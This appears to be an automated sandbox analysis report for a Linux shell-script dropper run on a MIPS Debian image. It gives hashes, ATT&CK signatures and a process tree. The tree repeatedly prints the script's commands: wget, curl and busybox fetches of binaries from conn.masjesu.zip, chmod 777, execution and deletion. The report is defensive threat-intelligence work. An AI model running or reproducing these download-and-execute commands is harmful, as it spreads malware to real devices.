49f27f87dc6079ae90792d53aeceb207e9e1a196d5517646c3bf922d721d35ea

Analysis

max time kernel
90s
max time network
89s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
08/11/2024, 02:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
49f27f87dc6079ae90792d53aeceb207e9e1a196d5517646c3bf922d721d35ea.sh
Size 10KB
Sample241108-c5nr9stdjb
SHA256 49f27f87dc6079ae90792d53aeceb207e9e1a196d5517646c3bf922d721d35ea
MD5 6efeb6f586f03209427ca17316e41d29
SHA1 591f1ff54f5ac825af858f899a197ae547fda763
SHA512 998fb762130e1ccaa841dba30f6af10d579270d4652a610dd809ae1d560b43aafaf3e6d75dd9ac17592512a760ab99f4af0c2c12e3968559512044abbcc4bf01
SSDEEP 192:i0tkgN++b/6cbRCXmCT9QMFCXmCT9OkgN++C:i0tkgN++b/64RCXmCT9BFCXmCT9OkgN6
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
896	chmod
924	chmod
903	chmod
980	chmod
793	chmod
875	chmod
917	chmod
945	chmod
759	chmod
861	chmod
882	chmod
959	chmod
973	chmod
741	chmod
817	chmod
952	chmod
966	chmod
868	chmod
910	chmod
938	chmod
854	chmod
1001	chmod
1008	chmod
807	chmod
889	chmod
931	chmod
987	chmod
994	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
786	busybox
810	wget
991	curl
886	curl
798	wget
804	curl
851	curl
879	curl
969	wget
976	wget
888	busybox
923	busybox
928	curl
948	wget
921	curl
949	curl
962	wget
993	busybox
736	curl
773	curl
892	wget
899	wget
1007	busybox
719	wget
885	wget
900	curl
906	wget
937	busybox
963	curl
983	wget
857	wget
942	curl
956	curl
970	curl
909	busybox
951	busybox
986	busybox
997	wget
739	busybox
751	busybox
853	busybox
878	wget
1000	busybox
867	busybox
920	wget
958	busybox
972	busybox
806	busybox
811	curl
907	curl
977	curl
944	busybox
1005	curl
813	busybox
824	wget
872	curl
902	busybox
930	busybox
865	curl
871	wget
895	busybox
927	wget
965	busybox
860	busybox

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/zvKxepFeOV3U3eBaxSHXFmgVJKuU7sKN5I	curl
File opened for modification	/tmp/a2yaYHUTe79L4pTG2AcZbulaRpFpHFWZZ7	curl
File opened for modification	/tmp/ScKHVLqNyx5pt9M0f5H2ezslayz6mHgvZE	curl
File opened for modification	/tmp/9WwHNWXNshvnrpYvmov21fWu1RloUIYIln	curl
File opened for modification	/tmp/hlKNBwTy6mTj0zrPqIY19IE8QCotyHD5dn	curl
File opened for modification	/tmp/2CPGBX5v6F4sq07UxZnh1PK1qc9WBGN80i	curl
File opened for modification	/tmp/hlKNBwTy6mTj0zrPqIY19IE8QCotyHD5dn	curl
File opened for modification	/tmp/D00nMM7hGlGKA6OlXxEq1XhHUeaoX5ieXv	curl
File opened for modification	/tmp/Y5PvjhlF4C7wbZc6QuVZryhwUAWZ8TED1g	curl
File opened for modification	/tmp/9WwHNWXNshvnrpYvmov21fWu1RloUIYIln	curl
File opened for modification	/tmp/OlvMBOVDjvNLvIOKS5UxMtWtzL7H92bcah	curl
File opened for modification	/tmp/h5EQDiQA5qGL7QDRML9LCbixEUrnRtqXvp	curl
File opened for modification	/tmp/2CPGBX5v6F4sq07UxZnh1PK1qc9WBGN80i	curl
File opened for modification	/tmp/XfVIQzDt6ttN9zXWGdjtdF4d5WbNHlLekn	curl
File opened for modification	/tmp/a2yaYHUTe79L4pTG2AcZbulaRpFpHFWZZ7	curl
File opened for modification	/tmp/D00nMM7hGlGKA6OlXxEq1XhHUeaoX5ieXv	curl
File opened for modification	/tmp/SY0m1Nqul7zRNNAKGnjLiyAGbznkJzL6YY	curl
File opened for modification	/tmp/Y5PvjhlF4C7wbZc6QuVZryhwUAWZ8TED1g	curl
File opened for modification	/tmp/OlvMBOVDjvNLvIOKS5UxMtWtzL7H92bcah	curl
File opened for modification	/tmp/XfVIQzDt6ttN9zXWGdjtdF4d5WbNHlLekn	curl
File opened for modification	/tmp/QFQ8pYF0ayhDD2T3WNgMp85GQk1KzUl2V5	curl
File opened for modification	/tmp/PemYgQ1Qfo9jMOppo94XEZeYeMGXpcpciT	curl
File opened for modification	/tmp/h5EQDiQA5qGL7QDRML9LCbixEUrnRtqXvp	curl
File opened for modification	/tmp/PemYgQ1Qfo9jMOppo94XEZeYeMGXpcpciT	curl
File opened for modification	/tmp/QFQ8pYF0ayhDD2T3WNgMp85GQk1KzUl2V5	curl
File opened for modification	/tmp/ScKHVLqNyx5pt9M0f5H2ezslayz6mHgvZE	curl
File opened for modification	/tmp/zvKxepFeOV3U3eBaxSHXFmgVJKuU7sKN5I	curl
File opened for modification	/tmp/SY0m1Nqul7zRNNAKGnjLiyAGbznkJzL6YY	curl

/tmp/49f27f87dc6079ae90792d53aeceb207e9e1a196d5517646c3bf922d721d35ea.sh
/tmp/49f27f87dc6079ae90792d53aeceb207e9e1a196d5517646c3bf922d721d35ea.sh
1⤵
PID:710
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:714
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ScKHVLqNyx5pt9M0f5H2ezslayz6mHgvZE
  2⤵
  - System Network Configuration Discovery
  PID:719
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ScKHVLqNyx5pt9M0f5H2ezslayz6mHgvZE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ScKHVLqNyx5pt9M0f5H2ezslayz6mHgvZE
  2⤵
  - System Network Configuration Discovery
  PID:739
- /bin/chmod
  chmod 777 ScKHVLqNyx5pt9M0f5H2ezslayz6mHgvZE
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/ScKHVLqNyx5pt9M0f5H2ezslayz6mHgvZE
  ./ScKHVLqNyx5pt9M0f5H2ezslayz6mHgvZE
  2⤵
  - Executes dropped EXE
  PID:742
- /bin/rm
  rm ScKHVLqNyx5pt9M0f5H2ezslayz6mHgvZE
  2⤵
  PID:743
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Y5PvjhlF4C7wbZc6QuVZryhwUAWZ8TED1g
  2⤵
  PID:744
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Y5PvjhlF4C7wbZc6QuVZryhwUAWZ8TED1g
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Y5PvjhlF4C7wbZc6QuVZryhwUAWZ8TED1g
  2⤵
  - System Network Configuration Discovery
  PID:751
- /bin/chmod
  chmod 777 Y5PvjhlF4C7wbZc6QuVZryhwUAWZ8TED1g
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/Y5PvjhlF4C7wbZc6QuVZryhwUAWZ8TED1g
  ./Y5PvjhlF4C7wbZc6QuVZryhwUAWZ8TED1g
  2⤵
  - Executes dropped EXE
  PID:761
- /bin/rm
  rm Y5PvjhlF4C7wbZc6QuVZryhwUAWZ8TED1g
  2⤵
  PID:764
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/a2yaYHUTe79L4pTG2AcZbulaRpFpHFWZZ7
  2⤵
  PID:765
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/a2yaYHUTe79L4pTG2AcZbulaRpFpHFWZZ7
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:773
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/a2yaYHUTe79L4pTG2AcZbulaRpFpHFWZZ7
  2⤵
  - System Network Configuration Discovery
  PID:786
- /bin/chmod
  chmod 777 a2yaYHUTe79L4pTG2AcZbulaRpFpHFWZZ7
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/a2yaYHUTe79L4pTG2AcZbulaRpFpHFWZZ7
  ./a2yaYHUTe79L4pTG2AcZbulaRpFpHFWZZ7
  2⤵
  - Executes dropped EXE
  PID:794
- /bin/rm
  rm a2yaYHUTe79L4pTG2AcZbulaRpFpHFWZZ7
  2⤵
  PID:797
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9WwHNWXNshvnrpYvmov21fWu1RloUIYIln
  2⤵
  - System Network Configuration Discovery
  PID:798
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9WwHNWXNshvnrpYvmov21fWu1RloUIYIln
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:804
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9WwHNWXNshvnrpYvmov21fWu1RloUIYIln
  2⤵
  - System Network Configuration Discovery
  PID:806
- /bin/chmod
  chmod 777 9WwHNWXNshvnrpYvmov21fWu1RloUIYIln
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/9WwHNWXNshvnrpYvmov21fWu1RloUIYIln
  ./9WwHNWXNshvnrpYvmov21fWu1RloUIYIln
  2⤵
  - Executes dropped EXE
  PID:808
- /bin/rm
  rm 9WwHNWXNshvnrpYvmov21fWu1RloUIYIln
  2⤵
  PID:809
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/D00nMM7hGlGKA6OlXxEq1XhHUeaoX5ieXv
  2⤵
  - System Network Configuration Discovery
  PID:810
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/D00nMM7hGlGKA6OlXxEq1XhHUeaoX5ieXv
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:811
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/D00nMM7hGlGKA6OlXxEq1XhHUeaoX5ieXv
  2⤵
  - System Network Configuration Discovery
  PID:813
- /bin/chmod
  chmod 777 D00nMM7hGlGKA6OlXxEq1XhHUeaoX5ieXv
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/D00nMM7hGlGKA6OlXxEq1XhHUeaoX5ieXv
  ./D00nMM7hGlGKA6OlXxEq1XhHUeaoX5ieXv
  2⤵
  - Executes dropped EXE
  PID:819
- /bin/rm
  rm D00nMM7hGlGKA6OlXxEq1XhHUeaoX5ieXv
  2⤵
  PID:823
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/OlvMBOVDjvNLvIOKS5UxMtWtzL7H92bcah
  2⤵
  - System Network Configuration Discovery
  PID:824
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/OlvMBOVDjvNLvIOKS5UxMtWtzL7H92bcah
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:851
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/OlvMBOVDjvNLvIOKS5UxMtWtzL7H92bcah
  2⤵
  - System Network Configuration Discovery
  PID:853
- /bin/chmod
  chmod 777 OlvMBOVDjvNLvIOKS5UxMtWtzL7H92bcah
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/OlvMBOVDjvNLvIOKS5UxMtWtzL7H92bcah
  ./OlvMBOVDjvNLvIOKS5UxMtWtzL7H92bcah
  2⤵
  - Executes dropped EXE
  PID:855
- /bin/rm
  rm OlvMBOVDjvNLvIOKS5UxMtWtzL7H92bcah
  2⤵
  PID:856
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/h5EQDiQA5qGL7QDRML9LCbixEUrnRtqXvp
  2⤵
  - System Network Configuration Discovery
  PID:857
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/h5EQDiQA5qGL7QDRML9LCbixEUrnRtqXvp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/h5EQDiQA5qGL7QDRML9LCbixEUrnRtqXvp
  2⤵
  - System Network Configuration Discovery
  PID:860
- /bin/chmod
  chmod 777 h5EQDiQA5qGL7QDRML9LCbixEUrnRtqXvp
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/h5EQDiQA5qGL7QDRML9LCbixEUrnRtqXvp
  ./h5EQDiQA5qGL7QDRML9LCbixEUrnRtqXvp
  2⤵
  - Executes dropped EXE
  PID:862
- /bin/rm
  rm h5EQDiQA5qGL7QDRML9LCbixEUrnRtqXvp
  2⤵
  PID:863
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/SY0m1Nqul7zRNNAKGnjLiyAGbznkJzL6YY
  2⤵
  PID:864
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/SY0m1Nqul7zRNNAKGnjLiyAGbznkJzL6YY
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:865
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/SY0m1Nqul7zRNNAKGnjLiyAGbznkJzL6YY
  2⤵
  - System Network Configuration Discovery
  PID:867
- /bin/chmod
  chmod 777 SY0m1Nqul7zRNNAKGnjLiyAGbznkJzL6YY
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/SY0m1Nqul7zRNNAKGnjLiyAGbznkJzL6YY
  ./SY0m1Nqul7zRNNAKGnjLiyAGbznkJzL6YY
  2⤵
  - Executes dropped EXE
  PID:869
- /bin/rm
  rm SY0m1Nqul7zRNNAKGnjLiyAGbznkJzL6YY
  2⤵
  PID:870
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PemYgQ1Qfo9jMOppo94XEZeYeMGXpcpciT
  2⤵
  - System Network Configuration Discovery
  PID:871
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PemYgQ1Qfo9jMOppo94XEZeYeMGXpcpciT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:872
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PemYgQ1Qfo9jMOppo94XEZeYeMGXpcpciT
  2⤵
  PID:874
- /bin/chmod
  chmod 777 PemYgQ1Qfo9jMOppo94XEZeYeMGXpcpciT
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/PemYgQ1Qfo9jMOppo94XEZeYeMGXpcpciT
  ./PemYgQ1Qfo9jMOppo94XEZeYeMGXpcpciT
  2⤵
  - Executes dropped EXE
  PID:876
- /bin/rm
  rm PemYgQ1Qfo9jMOppo94XEZeYeMGXpcpciT
  2⤵
  PID:877
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2CPGBX5v6F4sq07UxZnh1PK1qc9WBGN80i
  2⤵
  - System Network Configuration Discovery
  PID:878
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2CPGBX5v6F4sq07UxZnh1PK1qc9WBGN80i
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:879
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2CPGBX5v6F4sq07UxZnh1PK1qc9WBGN80i
  2⤵
  PID:881
- /bin/chmod
  chmod 777 2CPGBX5v6F4sq07UxZnh1PK1qc9WBGN80i
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/2CPGBX5v6F4sq07UxZnh1PK1qc9WBGN80i
  ./2CPGBX5v6F4sq07UxZnh1PK1qc9WBGN80i
  2⤵
  - Executes dropped EXE
  PID:883
- /bin/rm
  rm 2CPGBX5v6F4sq07UxZnh1PK1qc9WBGN80i
  2⤵
  PID:884
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zvKxepFeOV3U3eBaxSHXFmgVJKuU7sKN5I
  2⤵
  - System Network Configuration Discovery
  PID:885
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zvKxepFeOV3U3eBaxSHXFmgVJKuU7sKN5I
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:886
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zvKxepFeOV3U3eBaxSHXFmgVJKuU7sKN5I
  2⤵
  - System Network Configuration Discovery
  PID:888
- /bin/chmod
  chmod 777 zvKxepFeOV3U3eBaxSHXFmgVJKuU7sKN5I
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/zvKxepFeOV3U3eBaxSHXFmgVJKuU7sKN5I
  ./zvKxepFeOV3U3eBaxSHXFmgVJKuU7sKN5I
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm zvKxepFeOV3U3eBaxSHXFmgVJKuU7sKN5I
  2⤵
  PID:891
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hlKNBwTy6mTj0zrPqIY19IE8QCotyHD5dn
  2⤵
  - System Network Configuration Discovery
  PID:892
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hlKNBwTy6mTj0zrPqIY19IE8QCotyHD5dn
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hlKNBwTy6mTj0zrPqIY19IE8QCotyHD5dn
  2⤵
  - System Network Configuration Discovery
  PID:895
- /bin/chmod
  chmod 777 hlKNBwTy6mTj0zrPqIY19IE8QCotyHD5dn
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/hlKNBwTy6mTj0zrPqIY19IE8QCotyHD5dn
  ./hlKNBwTy6mTj0zrPqIY19IE8QCotyHD5dn
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm hlKNBwTy6mTj0zrPqIY19IE8QCotyHD5dn
  2⤵
  PID:898
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QFQ8pYF0ayhDD2T3WNgMp85GQk1KzUl2V5
  2⤵
  - System Network Configuration Discovery
  PID:899
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QFQ8pYF0ayhDD2T3WNgMp85GQk1KzUl2V5
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QFQ8pYF0ayhDD2T3WNgMp85GQk1KzUl2V5
  2⤵
  - System Network Configuration Discovery
  PID:902
- /bin/chmod
  chmod 777 QFQ8pYF0ayhDD2T3WNgMp85GQk1KzUl2V5
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/QFQ8pYF0ayhDD2T3WNgMp85GQk1KzUl2V5
  ./QFQ8pYF0ayhDD2T3WNgMp85GQk1KzUl2V5
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm QFQ8pYF0ayhDD2T3WNgMp85GQk1KzUl2V5
  2⤵
  PID:905
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/XfVIQzDt6ttN9zXWGdjtdF4d5WbNHlLekn
  2⤵
  - System Network Configuration Discovery
  PID:906
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/XfVIQzDt6ttN9zXWGdjtdF4d5WbNHlLekn
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:907
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/XfVIQzDt6ttN9zXWGdjtdF4d5WbNHlLekn
  2⤵
  - System Network Configuration Discovery
  PID:909
- /bin/chmod
  chmod 777 XfVIQzDt6ttN9zXWGdjtdF4d5WbNHlLekn
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/XfVIQzDt6ttN9zXWGdjtdF4d5WbNHlLekn
  ./XfVIQzDt6ttN9zXWGdjtdF4d5WbNHlLekn
  2⤵
  - Executes dropped EXE
  PID:911
- /bin/rm
  rm XfVIQzDt6ttN9zXWGdjtdF4d5WbNHlLekn
  2⤵
  PID:912
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PemYgQ1Qfo9jMOppo94XEZeYeMGXpcpciT
  2⤵
  PID:913
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PemYgQ1Qfo9jMOppo94XEZeYeMGXpcpciT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:914
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PemYgQ1Qfo9jMOppo94XEZeYeMGXpcpciT
  2⤵
  PID:916
- /bin/chmod
  chmod 777 PemYgQ1Qfo9jMOppo94XEZeYeMGXpcpciT
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/PemYgQ1Qfo9jMOppo94XEZeYeMGXpcpciT
  ./PemYgQ1Qfo9jMOppo94XEZeYeMGXpcpciT
  2⤵
  - Executes dropped EXE
  PID:918
- /bin/rm
  rm PemYgQ1Qfo9jMOppo94XEZeYeMGXpcpciT
  2⤵
  PID:919
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/OlvMBOVDjvNLvIOKS5UxMtWtzL7H92bcah
  2⤵
  - System Network Configuration Discovery
  PID:920
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/OlvMBOVDjvNLvIOKS5UxMtWtzL7H92bcah
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:921
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/OlvMBOVDjvNLvIOKS5UxMtWtzL7H92bcah
  2⤵
  - System Network Configuration Discovery
  PID:923
- /bin/chmod
  chmod 777 OlvMBOVDjvNLvIOKS5UxMtWtzL7H92bcah
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /tmp/OlvMBOVDjvNLvIOKS5UxMtWtzL7H92bcah
  ./OlvMBOVDjvNLvIOKS5UxMtWtzL7H92bcah
  2⤵
  - Executes dropped EXE
  PID:925
- /bin/rm
  rm OlvMBOVDjvNLvIOKS5UxMtWtzL7H92bcah
  2⤵
  PID:926
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/h5EQDiQA5qGL7QDRML9LCbixEUrnRtqXvp
  2⤵
  - System Network Configuration Discovery
  PID:927
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/h5EQDiQA5qGL7QDRML9LCbixEUrnRtqXvp
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:928
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/h5EQDiQA5qGL7QDRML9LCbixEUrnRtqXvp
  2⤵
  - System Network Configuration Discovery
  PID:930
- /bin/chmod
  chmod 777 h5EQDiQA5qGL7QDRML9LCbixEUrnRtqXvp
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/h5EQDiQA5qGL7QDRML9LCbixEUrnRtqXvp
  ./h5EQDiQA5qGL7QDRML9LCbixEUrnRtqXvp
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm h5EQDiQA5qGL7QDRML9LCbixEUrnRtqXvp
  2⤵
  PID:933
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/SY0m1Nqul7zRNNAKGnjLiyAGbznkJzL6YY
  2⤵
  PID:934
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/SY0m1Nqul7zRNNAKGnjLiyAGbznkJzL6YY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:935
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/SY0m1Nqul7zRNNAKGnjLiyAGbznkJzL6YY
  2⤵
  - System Network Configuration Discovery
  PID:937
- /bin/chmod
  chmod 777 SY0m1Nqul7zRNNAKGnjLiyAGbznkJzL6YY
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/SY0m1Nqul7zRNNAKGnjLiyAGbznkJzL6YY
  ./SY0m1Nqul7zRNNAKGnjLiyAGbznkJzL6YY
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm SY0m1Nqul7zRNNAKGnjLiyAGbznkJzL6YY
  2⤵
  PID:940
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hlKNBwTy6mTj0zrPqIY19IE8QCotyHD5dn
  2⤵
  PID:941
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hlKNBwTy6mTj0zrPqIY19IE8QCotyHD5dn
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hlKNBwTy6mTj0zrPqIY19IE8QCotyHD5dn
  2⤵
  - System Network Configuration Discovery
  PID:944
- /bin/chmod
  chmod 777 hlKNBwTy6mTj0zrPqIY19IE8QCotyHD5dn
  2⤵
  - File and Directory Permissions Modification
  PID:945
- /tmp/hlKNBwTy6mTj0zrPqIY19IE8QCotyHD5dn
  ./hlKNBwTy6mTj0zrPqIY19IE8QCotyHD5dn
  2⤵
  - Executes dropped EXE
  PID:946
- /bin/rm
  rm hlKNBwTy6mTj0zrPqIY19IE8QCotyHD5dn
  2⤵
  PID:947
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2CPGBX5v6F4sq07UxZnh1PK1qc9WBGN80i
  2⤵
  - System Network Configuration Discovery
  PID:948
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2CPGBX5v6F4sq07UxZnh1PK1qc9WBGN80i
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:949
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2CPGBX5v6F4sq07UxZnh1PK1qc9WBGN80i
  2⤵
  - System Network Configuration Discovery
  PID:951
- /bin/chmod
  chmod 777 2CPGBX5v6F4sq07UxZnh1PK1qc9WBGN80i
  2⤵
  - File and Directory Permissions Modification
  PID:952
- /tmp/2CPGBX5v6F4sq07UxZnh1PK1qc9WBGN80i
  ./2CPGBX5v6F4sq07UxZnh1PK1qc9WBGN80i
  2⤵
  - Executes dropped EXE
  PID:953
- /bin/rm
  rm 2CPGBX5v6F4sq07UxZnh1PK1qc9WBGN80i
  2⤵
  PID:954
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zvKxepFeOV3U3eBaxSHXFmgVJKuU7sKN5I
  2⤵
  PID:955
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zvKxepFeOV3U3eBaxSHXFmgVJKuU7sKN5I
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:956
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zvKxepFeOV3U3eBaxSHXFmgVJKuU7sKN5I
  2⤵
  - System Network Configuration Discovery
  PID:958
- /bin/chmod
  chmod 777 zvKxepFeOV3U3eBaxSHXFmgVJKuU7sKN5I
  2⤵
  - File and Directory Permissions Modification
  PID:959
- /tmp/zvKxepFeOV3U3eBaxSHXFmgVJKuU7sKN5I
  ./zvKxepFeOV3U3eBaxSHXFmgVJKuU7sKN5I
  2⤵
  - Executes dropped EXE
  PID:960
- /bin/rm
  rm zvKxepFeOV3U3eBaxSHXFmgVJKuU7sKN5I
  2⤵
  PID:961
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/XfVIQzDt6ttN9zXWGdjtdF4d5WbNHlLekn
  2⤵
  - System Network Configuration Discovery
  PID:962
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/XfVIQzDt6ttN9zXWGdjtdF4d5WbNHlLekn
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:963
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/XfVIQzDt6ttN9zXWGdjtdF4d5WbNHlLekn
  2⤵
  - System Network Configuration Discovery
  PID:965
- /bin/chmod
  chmod 777 XfVIQzDt6ttN9zXWGdjtdF4d5WbNHlLekn
  2⤵
  - File and Directory Permissions Modification
  PID:966
